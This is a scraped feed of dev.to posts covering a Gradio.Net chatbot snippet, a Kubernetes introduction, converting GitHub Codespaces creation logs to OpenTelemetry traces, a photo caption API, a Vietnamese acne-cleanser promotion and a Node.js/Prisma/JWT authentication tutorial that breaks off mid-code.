.Build();
App.Launch(await CreateBlocks(kernel));
static async Task<Blocks> CreateBlocks(Kernel kernel)
{
using (var blocks = gr.Blocks())
{
var chatbot = gr.Chatbot();
var txt = gr.Textbox(showLabel: false,
placeholder: "Enter text and press enter"
);
txt.Submit(streamingFn: (input) => GenerateResponse(input, kernel), inputs: new Gradio.Net.Component[] { txt, chatbot }, outputs: new Gradio.Net.Component[] { txt, chatbot });
return blocks;
}
}
static async IAsyncEnumerable<Output> GenerateResponse(Input input, Kernel kernel)
{
var userPrompt = Textbox.Payload(input.Data[0]);
var history = Chatbot.Payload(input.Data[1]);
history.Add(new ChatbotMessagePair(new ChatMessage { TextMessage = userPrompt }, new ChatMessage { TextMessage = "" }));
await foreach (var responseMessage in kernel.InvokePromptStreamingAsync<string>(userPrompt))
{
if (!string.IsNullOrEmpty(responseMessage))
{
history.Last().AiMessage.TextMessage += responseMessage;
yield return gr.Output("", history);
}
await Task.Delay(50);
}
}
```
| feiyun0112 |
1,881,661 | Introduction to Cloud Native Applications with Kubernetes | Introduction In today's digital era, the demand for efficient and scalable applications is... | 0 | 2024-06-09T00:36:22 | https://dev.to/kartikmehta8/introduction-to-cloud-native-applications-with-kubernetes-1j6o | webdev, javascript, beginners, programming | ## Introduction
In today's digital era, the demand for efficient and scalable applications is at an all-time high. This has led to the rise of cloud-native applications, which are specifically designed to run on cloud infrastructure. One of the most popular tools for managing and deploying these applications is Kubernetes. Let us delve deeper into the world of cloud-native applications and explore the features, advantages, and disadvantages of using Kubernetes.
## Advantages of Cloud-Native Applications with Kubernetes
1. **Platform Flexibility:** One of the main advantages of cloud-native applications is their ability to run on any cloud platform, such as AWS, Google Cloud, or Microsoft Azure. This provides flexibility, as businesses can choose the platform that best suits their needs.
2. **Automatic Scaling:** Kubernetes offers automatic scaling, ensuring that the application can handle high traffic loads without manual intervention. This helps in maintaining performance stability during peak usage times.
3. **Self-healing Capabilities:** Kubernetes provides self-healing capabilities, where the application can automatically recover from failures, minimizing downtime and ensuring continuous availability.
## Disadvantages of Using Kubernetes
1. **Complex Setup and Management:** Despite its numerous advantages, Kubernetes can be complex to set up and manage for those without a strong understanding of cloud infrastructure. This complexity can be a barrier for organizations with limited technical expertise.
2. **Operational Costs:** It requires a dedicated team to manage and monitor the cluster, which can add to the operational costs. The expertise needed to maintain a Kubernetes environment can also be costly.
3. **Migration Challenges:** Migrating traditional applications to a cloud-native architecture can be time-consuming and require significant resources. This process involves re-architecting applications to suit the scalable and flexible nature of cloud environments.
## Key Features of Kubernetes
1. **Container Orchestration:** Kubernetes efficiently manages the lifecycle of containers, handling tasks such as deployment, scaling, and networking.
2. **Load Balancing:** It automatically distributes network traffic and workloads across containers to ensure optimal resource utilization and performance.
3. **Automated Deployment and Rollout:** Kubernetes automates the deployment process and manages the rollout of updated versions of applications, facilitating continuous integration and delivery pipelines.
4. **Self-Service Portal:** The self-service portal allows development teams to quickly deploy and manage their applications without deep knowledge of the underlying infrastructure.
### Example of Kubernetes YAML Configuration
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
spec:
selector:
app: MyApp
ports:
- protocol: TCP
port: 80
targetPort: 9376
```
This example demonstrates a basic YAML configuration for a service in Kubernetes, showing how to define and expose applications within the cluster.
## Conclusion
Cloud-native applications with Kubernetes have revolutionized the way modern businesses operate. The benefits of scalability, flexibility, and automation make it a top choice for organizations looking to optimize their digital infrastructure. However, it is crucial to carefully consider the challenges and resource requirements of implementing Kubernetes before making the move to a cloud-native architecture. By weighing these factors, organizations can effectively harness the power of Kubernetes to enhance their digital strategies. | kartikmehta8 |
1,881,660 | Transforming GitHub Codespace Log Files to OpenTelemetry Traces | Recently I've had the requirement to track how long a GitHub codespace takes to start up. Creation... | 0 | 2024-06-09T00:32:12 | https://dev.to/agardnerit/transforming-github-codespace-log-files-to-opentelemetry-traces-23m3 | github, opentelemetry, analytics, python |
Recently I've had the requirement to track how long a GitHub codespace takes to start up.
Creation time is a key user happiness metric. If it takes 2 minutes to start today but 10 minutes next week, users will understandably be unhappy.
While the `creation.log` is available, interpreting it isn't exactly easy intuitive.
## Example GitHub Codespace Creation Log
```
# /workspaces/.codespaces/.persistedshare/creation.log
2024-06-03 11:24:45.851Z: Host information
2024-06-03 11:24:45.894Z: ----------------
2024-06-03 11:24:45.938Z: OS: Ubuntu 22.04.4 LTS (stable release)
2024-06-03 11:24:45.942Z: Image details: https://github.com/github/codespaces-host-images/blob/main/README.md
2024-06-03 11:24:45.945Z: ----------------
=================================================================================
2024-06-03 11:24:45.950Z: Configuration starting...
2024-06-03 11:24:45.956Z: Cloning...
2024-06-03 11:24:45.969Z: $ git -C "/var/lib/docker/codespacemount/workspace" clone --branch "master" --depth 1 https://github.com/agardnerIT/someRepo "/var/lib/docker/codespacemount/workspace/someRepo"
2024-06-03 11:24:45.974Z: Cloning into '/var/lib/docker/codespacemount/workspace/someRepo'...
2024-06-03 11:24:49.237Z: git process exited with exit code 0
2024-06-03 11:24:49.244Z: $ git -C "/var/lib/docker/codespacemount/workspace/someRepo" config --local remote.origin.fetch +refs/heads/*:refs/remotes/origin/*
2024-06-03 11:24:49.250Z: git process exited with exit code 0
2024-06-03 11:24:49.348Z: Using image: mcr.microsoft.com/devcontainers/universal
=================================================================================
2024-06-03 11:24:49.377Z: Creating container...
=================================================================================
2024-06-03 11:24:50.086Z: Running blocking commands...
2024-06-03 11:24:50.165Z: $ devcontainer up --id-label Type=codespaces --workspace-folder /var/lib/docker/codespacemount/workspace/someRepo --mount type=bind,source=/.codespaces/agent/mount/cache,target=/vscode --user-data-folder /var/lib/docker/codespacemount/.persistedshare --container-data-folder .vscode-remote/data/Machine --container-system-data-folder /var/vscode-remote --log-level trace --log-format json --update-remote-user-uid-default never --mount-workspace-git-root false --omit-config-remote-env-from-metadata --skip-non-blocking-commands --expect-existing-container --override-config /root/.codespaces/shared/merged_devcontainer.json --default-user-env-probe loginInteractiveShell --container-session-data-folder /workspaces/.codespaces/.persistedshare/devcontainers-cli/cache --secrets-file /root/.codespaces/shared/user-secrets-envs.json
2024-06-03 11:24:50.409Z: @devcontainers/cli 0.56.1. Node.js v18.20.3. linux 6.5.0-1021-azure x64.
2024-06-03 11:24:50.650Z: Outcome: success User: codespace WorkspaceFolder: /workspaces/someRepo
2024-06-03 11:24:50.671Z: devcontainer process exited with exit code 0
=================================================================================
2024-06-03 11:24:50.722Z: Configuring codespace...
2024-06-03 11:24:50.783Z: Running oryx...
2024-06-03 11:24:50.849Z: $ python -m site --user-site
2024-06-03 11:24:51.626Z: /home/codespace/.local/lib/python3.10/site-packages
2024-06-03 11:24:51.648Z: python process exited with exit code 0
2024-06-03 11:24:51.683Z: $ python --version
2024-06-03 11:24:51.793Z: Python 3.10.13
2024-06-03 11:24:51.811Z: python process exited with exit code 0
2024-06-03 11:24:51.816Z: $ oryx build --manifest-dir "/workspaces/.oryx" --property packagedir="/home/codespace/.local/lib/python3.10/site-packages" --property python_version="3.10.13" --log-file "/workspaces/.oryx/build.log" "/workspaces/someRepo"
2024-06-03 11:24:54.430Z: Operation performed by Microsoft Oryx, https://github.com/Microsoft/Oryx
2024-06-03 11:24:54.434Z: You can report issues at https://github.com/Microsoft/Oryx/issues
2024-06-03 11:24:54.444Z:
2024-06-03 11:24:54.449Z: Oryx Version: 0.2.0.0+c261287ed35c6c62b5ecf3174cda270495abb127, Commit: , ReleaseTagName:
2024-06-03 11:24:54.480Z:
2024-06-03 11:24:54.486Z: Build Operation ID: 347a9377dbcb21fe
2024-06-03 11:24:54.490Z: Repository Commit : 37b9b59dbe19bac41b714162afc38c11a091c1a0
2024-06-03 11:24:54.495Z: OS Type : focal-scm
2024-06-03 11:24:54.502Z: Image Type : vso-focal
2024-06-03 11:24:54.510Z:
2024-06-03 11:24:54.522Z: Detecting platforms...
2024-06-03 11:24:54.699Z: Could not detect any platform in the source directory.
2024-06-03 11:24:54.744Z: Error: Could not detect the language from repo.
2024-06-03 11:24:54.805Z: oryx process exited with exit code 2
2024-06-03 11:24:54.829Z: $ cp -r /root/.docker /var/lib/docker/codespacemount/.persistedshare
2024-06-03 11:24:54.846Z: cp process exited with exit code 0
2024-06-03 11:24:54.862Z: $ rm -rf /home/codespace/.docker
2024-06-03 11:24:55.078Z: rm process exited with exit code 0
2024-06-03 11:24:55.088Z: $ ln -sfn /workspaces/.codespaces/.persistedshare/.docker /home/codespace/.docker
2024-06-03 11:24:55.243Z: ln process exited with exit code 0
2024-06-03 11:24:55.279Z: $ chown -R codespace /workspaces/.codespaces/.persistedshare/.docker
2024-06-03 11:24:55.392Z: chown process exited with exit code 0
=================================================================================
2024-06-03 11:24:55.403Z: Running commands...
2024-06-03 11:24:55.481Z: $ devcontainer up --id-label Type=codespaces --workspace-folder /var/lib/docker/codespacemount/workspace/someRepo --expect-existing-container --skip-post-attach --mount type=bind,source=/.codespaces/agent/mount/cache,target=/vscode --container-data-folder .vscode-remote/data/Machine --container-system-data-folder /var/vscode-remote --log-level trace --log-format json --update-remote-user-uid-default never --mount-workspace-git-root false --override-config /root/.codespaces/shared/merged_devcontainer.json --default-user-env-probe loginInteractiveShell --container-session-data-folder /workspaces/.codespaces/.persistedshare/devcontainers-cli/cache --secrets-file /root/.codespaces/shared/user-secrets-envs.json
2024-06-03 11:24:55.981Z: @devcontainers/cli 0.56.1. Node.js v18.20.3. linux 6.5.0-1021-azure x64.
2024-06-03 11:24:56.816Z: Running the postCreateCommand from Feature 'ghcr.io/devcontainers/features/git-lfs:1'...
2024-06-03 11:24:56.855Z: /usr/local/share/pull-git-lfs-artifacts.sh
2024-06-03 11:24:56.868Z: Fetching git lfs artifacts...
2024-06-03 11:24:57.953Z: devcontainer process exited with exit code 0
2024-06-03 11:24:57.968Z: Outcome: success User: codespace WorkspaceFolder: /workspaces/someRepo
=================================================================================
2024-06-03 11:24:58.206Z: Finished configuring codespace.
```
What I really need to see from this log, at a glance, is:
- The `Configuration starting...` step took 6 milliseconds
- The `Cloning...` step took 18 milliseconds
- The `Cloning into '/var/lib/docker/codespacemount/workspace/site'...` step took 3.4 seconds
Based on:
```
2024-06-03 11:24:45.950Z: Configuration starting...
2024-06-03 11:24:45.956Z: Cloning...
2024-06-03 11:24:45.974Z: Cloning into '/var/lib/docker/codespacemount/workspace/site'...
...
2024-06-03 11:24:49.377Z: Creating container...
...
```
## Note: OTEL Collector Required
Tracepusher emits spans and expects a collector to be available as the endpoint, so you'll need to spin up a collector and expose the `HTTP` receiver (usually on port `4318`).
## Tracepusher to the Rescue
The first step is to ensure [tracepusher binary](https://github.com/agardnerit/tracepusher/releases/latest) is on the `PATH` so it can be called by the Python code we write.
Now:
- Generate trace id and span id for the "first" (parent) span
- Parse the log file to extract timings for each step (sub span)
- Send the main span with the timings corresponding to the entire end-to-end time
- Send a span for each step inside the log, also setting the trace id and parent span ID (so that your trace backend knows that all of these spans are related
Note: The final step (span) does not have an end time and thus the duration cannot be known, so just assume it lasted for 1 second:
```
trace_end_time = activity_start_left_dt + timedelta(seconds=1)
```
## Put it all together
See [Github Codespaces creation.log to OpenTelemetry code sample](https://github.com/agardnerIT/tracepusher/blob/main/samples/github_codespaces/creation_log_parser.py) for the code.
Finally, trigger the script from `devcontainer.json` using the `postCreateCommand`:
```
{
...
// Use 'postCreateCommand' to run commands after the container is created.
"postCreateCommand": "python creation_log_parser.py",
}
```
| agardnerit |
1,881,625 | A Photo Caption API | tl;dr: A Photo Caption Contest API has been successfully built and launched using Node.js, Fastify,... | 0 | 2024-06-09T00:16:13 | https://dev.to/sraveend/a-photo-caption-api-f90 | typescript, backenddevelopment, restapi, learning | **tl;dr:**
A Photo Caption Contest API has been successfully built and launched using Node.js, Fastify, and TypeScript. This project demonstrates key backend concepts including user authentication, image management, and caption submission. By implementing basic caching, response times for frequently accessed endpoints were reduced by 30%, showcasing the impact of simple performance optimizations.
You can check out the code here: [Github](https://github.com/sreeharsha-rav/typescript-projects/tree/main/photo-caption)
**Context**
In the landscape of viral memes and image-driven content, a Photo Caption Contest platform presents an excellent opportunity to apply backend development skills. This project, inspired by the Codecademy "Back-End Engineer" course, serves as a practical application of user interaction, data management, and performance optimization concepts.
**Test Setup**
The RESTful API built for this project demonstrates several fundamental backend concepts:
1. User Authentication: JWT-based authentication for user registration and login, showcasing secure password hashing and token management.
2. Image Management: Functionality for users to upload images and for the API to serve these images, covering file upload handling and static content serving.
3. Caption Submission: Users can submit captions for images, a feature that involved designing relational database schemas using Prisma ORM with PostgreSQL.
4. Performance Optimization: Node-Cache was used to cache responses for frequently accessed endpoints, demonstrating the significant performance gains possible with even basic caching strategies.
**Results**
After launching the API and testing it with a Postman collection, several positive outcomes were observed:
1. 30% Faster Response Times: By caching GET requests for images and their captions, response times dropped by 30%. This underscores how basic caching can substantially enhance API performance.
2. Relational Data Handling: Successfully retrieving images with their associated captions validated the effectiveness of the chosen ORM (Prisma) in handling relational data.
3. Authentication Flow: Proper user registration, login, and token-based access to protected routes (like posting images and captions) confirmed the robustness of the authentication and authorization implementation.
One challenge encountered was a slight increase in response time for non-cached requests due to the additional caching logic. However, the performance gain for cached responses more than compensates for this, illustrating the trade-offs inherent in optimization strategies.
**Next Steps**
This project lays the groundwork for exploring more advanced backend development concepts:
1. API Documentation: Implement Swagger to document the API. This enhances the developer experience for frontend developers or other API consumers by providing clear, interactive API documentation.
2. Advanced Caching: Replace Node-Cache with Redis. This step introduces in-memory data structures and more sophisticated caching strategies, essential for handling increased traffic.
3. Testing: Increase test coverage using Jest. Comprehensive unit and integration testing are crucial for maintaining code quality and facilitating safe, rapid development.
4. Containerization: Dockerize the application. This foray into DevOps teaches how to create reproducible, easy-to-deploy application environments, a valuable skill in modern development workflows.
**Thanks**
The realization of this project owes much to Codecademy's "Back-End Engineer" course. Its comprehensive modules on Node.js, databases, and API design provided the knowledge foundation necessary to bring this project to life. This hands-on project reinforces theoretical learning and establishes a robust foundation in backend development, paving the way for more complex projects and deeper learning. | sraveend |
1,881,623 | Các loại sữa rửa mặt trị mụn ẩn | Mụn ẩn là loại mụn xuất hiện dưới da, thường không có đầu đen hoặc mũi đen, làm cho da trở nên sần... | 0 | 2024-06-09T00:04:24 | https://dev.to/sinh_vincosmetics_29a99/cac-loai-sua-rua-mat-tri-mun-an-200e | Mụn ẩn là loại mụn xuất hiện dưới da, thường không có đầu đen hoặc mũi đen, làm cho da trở nên sần sùi và thô ráp. Đơn giản chỉ là vì quá tắc nghẽn lỗ chân lông do sản xuất dầu khích thích quá mức. Người thường bị mụn ẩn có làn da nhờn dễ tiết dầu. Sản phẩm giúp thỏa mãn nhu cầu lấy đi các tạp chất hình thành mụn và vệ sinh da.
Sữa rửa mặt trị mụn ẩn là một trong những sản phẩm không thể thiếu trong bộ đôi chăm sóc da hàng ngày của nhiều người. Vì mụn ẩn luôn là nỗi ám ảnh lớn đối với nhiều người, đặc biệt là những người có làn da dầu hoặc những người nam. Vì vậy, việc tìm kiếm một loại sữa rửa mặt hiệu quả để giải quyết vấn đề này là điều cần thiết.
Nhưng với hàng loạt các loại sữa rửa mặt trị mụn ẩn trên thị trường, việc lựa chọn sản phẩm phù hợp với từng loại da, từng nhu cầu là một thách thức. Trong bài viết này, chúng ta sẽ cùng khám phá top 5 loại sữa rửa mặt trị mụn ẩn hiệu quả nhất và đánh giá kết quả sau khi sử dụng.
Các loại sữa rửa mặt trị mụn ẩn hiệu quả
Sữa rửa mặt trị mụn ẩn Murad Clarifying Cleanser
Sản phẩm của thương hiệu Murad nổi tiếng với công thức sạch, an toàn và hiệu quả. Sữa rửa mặt Murad Clarifying Cleanser chứa thành phần chính là axit salicylic và thanh H2O hydrated silica, giúp loại bỏ tế bào chết và làm sạch sâu lỗ chân lông.
Sữa rửa mặt trị mụn ẩn Murad Clarifying Cleanser
Công dụng nổi bật
Kiểm soát nhờn hiệu quả
Làm sạch sâu lỗ chân lông
Ngăn ngừa hình thành mụn mới
Thành phần chính
Axit salicylic 1,5%
Thành H2O ngậm nước silica
Chiết xuất từ trà xanh
Cách sử dụng
Làm ẩm da với nước ấm.
Massage nhẹ nhàng lên da trong khoảng 30 giây.
Rửa sạch với nước ấm.
Sữa rửa mặt trị mụn ẩn La Roche-Posay Effaclar Purifying Foaming Gel
La Roche-Posay là một trong những thương hiệu dược mỹ phẩm hàng đầu đến từ Pháp. Sản phẩm Effaclar Purifying Foaming Gel của hãng được đánh giá cao nhờ công thức lấy cảm hứng từ nguyên lý tạo bọt của các bác sĩ da liễu.
Sữa rửa mặt trị mụn ẩn La Roche-Posay Effaclar Purifying Foaming Gel
Công dụng nổi bật
Làm sạch sâu lỗ chân lông
Kiểm soát nhờn hiệu quả
Ngăn ngừa hình thành mụn mới
Thành phần chính
Axit glycolic
Axit salicylic
Axit lipo hydroxy
Cách sử dụng
Làm ẩm da với nước ấm.
Lấy một lượng vừa đủ sản phẩm và tạo bọt trên da.
Massage nhẹ nhàng trong 1-2 phút.
Rửa sạch với nước ấm.
Sữa rửa mặt trị mụn ẩn Cetaphil DermaControl Foam Cleanser
Cetaphil là một trong những thương hiệu dược mỹ phẩm nổi tiếng với các sản phẩm an toàn và hiệu quả. DermaControl Foam Cleanser là sữa rửa mặt tạo bọt dạng gel dành riêng cho da dầu và da hỗn hợp.
Sữa rửa mặt trị mụn ẩn Cetaphil DermaControl Foam Cleanser
Công dụng nổi bật
Làm sạch sâu lỗ chân lông
Kiểm soát nhờn hiệu quả
Ngăn ngừa hình thành mụn mới
Thành phần chính
Axit glycolic
Axit salicylic
Niacinamide
Cách sử dụng
Làm ẩm da với nước ấm.
Lấy một lượng vừa đủ sản phẩm và tạo bọt trên da.
Massage nhẹ nhàng trong 1-2 phút.
Rửa sạch với nước ấm.
Trên đây là các loại sữa rửa mặt trị mụn ẩn hiệu quả nhất mà bạn có thể tham khảo để chăm sóc da mặt của mình. Việc chọn lựa sản phẩm phù hợp với làn da của mình là rất quan trọng để đạt được kết quả tốt nhất trong việc điều trị mụn. Hãy nhớ rằng, sau khi sử dụng sữa rửa mặt, bạn cần kết hợp với các bước dưỡng da khác như toner serum và kem dưỡng để có làn da khỏe mạnh
Ngoài ra bạn cũng có thể ghé qua [bài viết](https://sinhviencosmetics.com/sua-rua-mat-tri-mun-an-hieu-qua-nhat/) của chúng tôi để biết thêm về các loại mỹ phẩm. | sinh_vincosmetics_29a99 | |
1,878,398 | User authentication and authorization in Node.js, Express.js app, using Typescript, Prisma, Zod and JWT | Hey everyone! In this article, we're going to learn how to authenticate and authorize users. We're... | 0 | 2024-06-09T00:04:05 | https://dev.to/owo_frostyy_df9242c6be6f5/user-authentication-and-authorization-in-nodejs-expressjs-app-using-typescript-prisma-zod-and-jwt-5b8d | Hey everyone! In this article, we're going to learn how to authenticate and authorize users. We're going to use the following tools for the task (Disclaimer: you don't have to use these tools in your code; it's just that I find them convenient to use. Feel free to use whatever tools you like as long as you're comfortable with them):
-Node.js
-Express.js
-Typescript
-Prisma ORM
-Neon (a serverless postgresql database)
-Zod (for validations)
-Bcrypt (for password hashing)
-JWT (for token generation and verification)
We're going to get started by opening the new project folder:
```
mkdir your_project_name
cd your_project_name
npm init -y
```
Now, let's install all the necessary dependencies, so that we don't have to jump back and forth from our code to the terminal:
```
npm i express dotenv cookie-parser bcrypt jsonwebtoken zod @prisma/client
```
Next, we'll install required types for above mentioned dependencies (keep in mind those are always installed as dev dependencies):
```
npm i -D typescript ts-node nodemon @types/node @types/express @types/cookie-parser @types/bcrypt @types/jsonwebtoken prisma
```
Finally, let's install the touch cli to create files without leaving the terminal because we're so lazy to create new files on our own:
```
npm i -g touch-cli
```
Before closing the terminal type the following commands to create the source folder in the root directory and app.ts file inside of it:
```
mkdir src
cd src
touch app.ts
cd ..
```
And we're done, yay! We can finally start coding, right?
Welp, no! We're not quite done yet because now we need to set up commands for running our application in `package.json`, create a `.gitignore` file, and list the files and folders that we don't want to upload to GitHub. If we want to bring it any closer to how it's done in real projects, we need to set up ESLint rules and Prettier config to ensure consistent code style, etc. Pretty overwhelming, right? So much for project setup, huh? Well, not to worry, my friend. I got you covered, as I'm going to focus solely on proper project setup in my upcoming article soon. Just you wait! For now, we'll skip that part and jump straight to the code. And we'll continue by setting up the server in our `src/app.ts` file:
```typescript
import express from "express";
import type { Request, Response, NextFunction } from "express";
import cookieParser from "cookie-parser";
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());
//Handling not existing routes
app.use((_req: Request, res: Response, _next: NextFunction) => {
res.status(404).send("Route not found")
});
//Initialize the server
app.listen(3000, () => {
console.log(`[server]: server is running at
http://localhost:3000/api`);
});
```
Done! Now, let's move on to the prisma setup:
In the terminal, type the following commands:
```
npx prisma
npx prisma init
```
Explanation for teapots:
The first command invokes the prisma cli and the second generates a new folder in the root directory of you project called prisma with `prisma.schema` file inside. It also generates .env file with the fake connection string for the database:
```typescript
DATABASE_URL="postgresql://janedoe:mypassword@localhost:5432/mydb?schema=sample"
```
Let's open the `prisma.schema` file generated by prisma cli, but before that, if you're using VSCode make sure to go to your editor extensions tab and download the following extension:
This essentially allows you to have colorful code in your `prisma.schema` file. Yeah, you just downloaded the extension just to unlock colorful text in your .schema file `¯\_(ツ)_/¯`, let's gooo. And now, it should look like this:
Now, I'm not going to explain every detail here because, for starters, this article would become much longer if I did. Second, I think everything in this file is pretty much self-explanatory. If anything is unclear, just read the documentation; that's what it's there for, right? So, to keep things short, this is essentially your Prisma configuration file, where your database and provider are set up. In our case, the provider is "postgresql." If you want to use other relational or non-relational databases such as SQLite or MongoDB, you'll need to replace "postgresql" and specify the type of database you're using.
Going back to where we left off, this `prisma.schema` file can also be used to define our entities and their relationships. We will use this file for that purpose from now on. So, let's define our User entity and Roles (which we will use later for user authorization):
Done! Now, let's open the terminal and run our first migration:
```
npx prisma migrate dev --name init
```
Install the prisma client:
```
npm install @prisma/client
```
And we're ready to connect our database. Let's GOOOO`ᕙ( •̀ ᗜ •́ )ᕗ`! Open your src folder and create new folder called config and in there create db.ts file:
```
cd src
mkdir config
cd config
touch db.ts
cd ../..
```
And it's here that we will define the function which will connect us to the database:
```typescript
import { PrismaClient } from "@prisma/client"
export const db = new PrismaClient()
export async function connectToDB() {
try {
await db.$connect();
console.log("[database]: connected!");
} catch (err) {
console.log("[database]: connection error: ", err);
await db.$disconnect();
}
}
```
We are going to call this function whenever we run our application server. So, open the `src/app.ts` file and make the following changes:
```typescript
//the rest of the code...
const initializeApp = async () => {
try {
app.listen(3000, () => {
console.log(`[server]: server is running at http://localhost:3000/api`);
});
await connectToDB();
} catch (err) {
console.error(err);
process.exit(1);
}
}
initializeApp()
```
Next, let's test the connection. BUT before that, we MUST replace the fake database connection string provided by Prisma in our `.env` file. For this, you'll have to go to the official [Neon](https://www.google.com/url?sa=t&source=web&rct=j&opi=89978449&url=https://neon.tech/&ved=2ahUKEwjo-Mbcrs2GAxWUDhAIHTGnBF0QFnoECCgQAQ&usg=AOvVaw2V-qc7rmEG-pLkc_6mJupK) website. There, all you have to do is sign up, create a new project with a free plan, and get the newly generated connection string for your serverless database. Finally, replace the fake connection string with the one generated for you by Neon:
```typescript
DATABASE_URL="postgresql://your:credentials@localhost:5432/db_name?schema=sample"
```
And, we're good to go! Open the terminal, run `npm run dev`, and see if you're getting the following messages:
```
[database]: connected!
[server]: server is running at http://localhost:3000/api
```
If you're not receiving these messages, then you definitely missed something. Retrace your steps to see if you skipped any steps or made any mistakes. Once everything is working correctly, we can proceed.
Before we return to coding, let me briefly introduce a couple of programming concepts that we will implement in this project later down the line.
Firstly, in our project, we're going to separate our logic into the following layers: **repositories**, **services**, and **controllers**. This pattern is commonly referred to as the **Service Layer Pattern** or **Service-Oriented Architecture (SOA)**. This approach is widely used in designing enterprise applications, particularly for web applications and APIs. Here's what each layer is responsible for:
**Repository** (bottom layer): The repository serves as a data access layer, essentially providing a class through which you can access the database and perform necessary queries.
**Service** (middle layer): The service layer handles the business logic. It receives data from the request, processes it, and if you need to save something to the database or retrieve it, you do so by using your repository. This is achieved via **dependency injection**.
**Controller** (top layer): The controller handles requests and responses. It receives the request and passes the data to the service layer. Again, how do we access the service layer? Via dependency injection! The service processes the provided data, and if it returns something, you extract it and send an appropriate response to the client.
As for **dependency injection**, this is esentiallly a technique that aims to facilitate separation of concerns, which leads to loosely coupled programs. Why do we need it?
1. Improved Testability
2. Flexibility and Maintainability
3. Enhanced Readability.
4. Code Reusability
If you need a deeper explanation of these concepts, I'll write a separate article for that, just let me know in the comments.
Now that we have familiarized ourselves with these concepts, it'll be much easier for us to grasp what we're going to be doing in the next steps.
**Step 1: Build the Layers**
Let's build up our layers from the bottom to the top. We'll start by creating the repository layer. Open the terminal and type the following:
```
cd src
mkdir repositories
cd repositories
touch UserRepository.ts
cd ../..
```
Close the terminal, open the `UserRepository.ts` file that you have just created, and write the following:
```typescript
import { db } from "../config/db";
import type { Prisma } from "@prisma/client";
export default class UserRepository {
private readonly db;
constructor() {
this.db = db;
}
async getAll() {
return await this.db.user.findMany();
}
async getById(id: string) {
return await this.db.user.findUnique({ where: { id } });
}
async getByKey(key: keyof Prisma.UserWhereInput, value: Prisma.UserWhereInput[keyof Prisma.UserWhereInput]) {
return await this.db.user.findFirst({ where: { [key]: value } });
}
async create(data: Prisma.UserCreateInput) {
return await this.db.user.create({ data });
}
async update(id: string, data: Prisma.UserUpdateInput) {
return await this.db.user.update({ where: { id }, data });
}
async delete(id: string) {
return await this.db.user.delete({ where: { id } });
}
}
```
As you can see, there is no business logic involved here, just plain and simple database queries. Let's move on to the next layer: the service layer. Open the terminal and paste the following commands:
```
cd src
mkdir services
cd services
touch UserService.ts
cd ../..
```
Done! Open the `UserService.ts` file and paste this:
```typescript
import type { Prisma } from "@prisma/client";
import bcrypt from "bcrypt";
import UserRepository from "../repositories/UserRepository";
const userRepository = new UserRepository();
export default class UserService {
private userRepository: UserRepository;
constructor() {
//this is how dependency injection is done
//we're injecting UserRepository into UserService
this.userRepository = userRepository;
}
async getAll() {
return await this.userRepository.getAll();
}
async getById(id: string) {
const user = await this.userRepository.getById(id);
if (!user) throw new Error("user not found");
return user;
}
async getByKey(key: keyof Prisma.UserWhereInput, value: Prisma.UserWhereInput[typeof key]) {
return await this.userRepository.getByKey(key, value);
}
async create(data: any) {
const hashedPassword = await bcrypt.hash(data.password, 10);
return await this.userRepository.create({ ...data, password: hashedPassword });
}
async update(id: string, data: any) {
await this.getById(id);
if (data.password)
data.password = await bcrypt.hash(data.password, 10);
return await this.userRepository.update(id, data);
}
async delete(id: string) {
await this.getById(id);
await this.userRepository.delete(id);
}
}
```
In this code snippet we're going to temporarily use built-in Error constructor, but we will replace it with our own custom error later on. On to the controller layer!
```
cd src
mkdir controllers
cd controllers
touch UserController.ts
cd ../..
```
Open the `UserController.ts` file:
```typescript
import type { NextFunction, Request, Response } from "express";
import UserService from "../services/UserService";
const userService = new UserService();
export default class UserController {
private readonly userService: UserService;
constructor() {
this.userService = userService;
}
async getAll(_req: Request, res: Response, next: NextFunction) {
try {
const users = await this.userService.getAll();
res.status(200).json({ users });
} catch (err) {
next(err);
}
}
async getById(req: Request, res: Response, next: NextFunction) {
try {
const user = await this.userService.getById(req.params.id);
res.status(200).json({ user });
} catch (err) {
next(err);
}
}
async create(req: Request, res: Response, next: NextFunction) {
try {
const user = await this.userService.create(req.body);
res.status(201).json({ user });
} catch (err) {
next(err);
}
}
async update(req: Request, res: Response, next: NextFunction) {
try {
const user = await this.userService.update(req.params.id, req.body);
res.status(200).json({ user });
} catch (err) {
next(err);
}
}
async delete(req: Request, res: Response, next: NextFunction) {
try {
await this.userService.delete(req.params.id);
res.sendStatus(204);
} catch (err) {
next(err);
}
}
}
```
Notice that we're not implementing getByKey method from the service since we created that method only to use it inside of our application logic.
**Step 2: Error Handling**
We'll start by creating our own HttpExceptions:
```
cd src
mkdir utils
cd utils
touch HttpExceptions.ts
cd ../..
```
Open the `HttpExceptions.ts` file and paste this:
```typescript
export abstract class CustomError extends Error {
abstract readonly statusCode: number;
abstract readonly errors: string[];
abstract readonly isLogging: boolean;
constructor(message: string) {
super(message);
Object.setPrototypeOf(this, CustomError.prototype);
}
}
export class HttpException extends CustomError {
readonly _statusCode: number;
readonly _isLogging: boolean;
constructor(
statusCode = 500,
message = "Something went wrong",
isLogging = false
) {
super(message);
this._statusCode = statusCode;
this._isLogging = isLogging;
Object.setPrototypeOf(this, HttpException.prototype);
}
get errors() {
return [this.message];
}
get statusCode() {
return this._statusCode;
}
get isLogging() {
return this._isLogging;
}
}
export class HttpValidationExceptions extends CustomError {
readonly _statusCode = 400;
readonly _isLogging: boolean;
readonly _errors: string[];
constructor(errors = ["Bad Request"], isLogging = false) {
super("Bad Request");
this._errors = errors;
this._isLogging = isLogging;
Object.setPrototypeOf(this, HttpValidationExceptions.prototype);
}
get errors() {
return this._errors;
}
get statusCode() {
return this._statusCode;
}
get isLogging() {
return this._isLogging;
}
}
```
So, first, we've built a CustomError absctract class which we then used to create our own HttpExceptions errors: one for common errors and other is for validation errors.
Next, let's create an ErrorHandler middleware that will catch these errors and send them in the proper format:
```
cd src
mkdir middlewares
cd middlewares
touch ErrorHandler.ts
cd ../..
```
Open the `ErrorHandler.ts`:
```typescript
import type { Request, Response, NextFunction } from "express";
import { CustomError } from "../utils/HttpExceptions";
import { Prisma } from "@prisma/client";
const ErrorFactory = (err: Error, res: Response) => {
if (err instanceof CustomError) {
const { statusCode, stack, isLogging, errors } = err;
if (isLogging) {
const logMessage = JSON.stringify({ statusCode, errors, stack }, null, 2);
console.log(logMessage);
}
return res.status(statusCode).send({ errors });
}
if (err instanceof Prisma.PrismaClientKnownRequestError) {
console.log(JSON.stringify(err, null, 2));
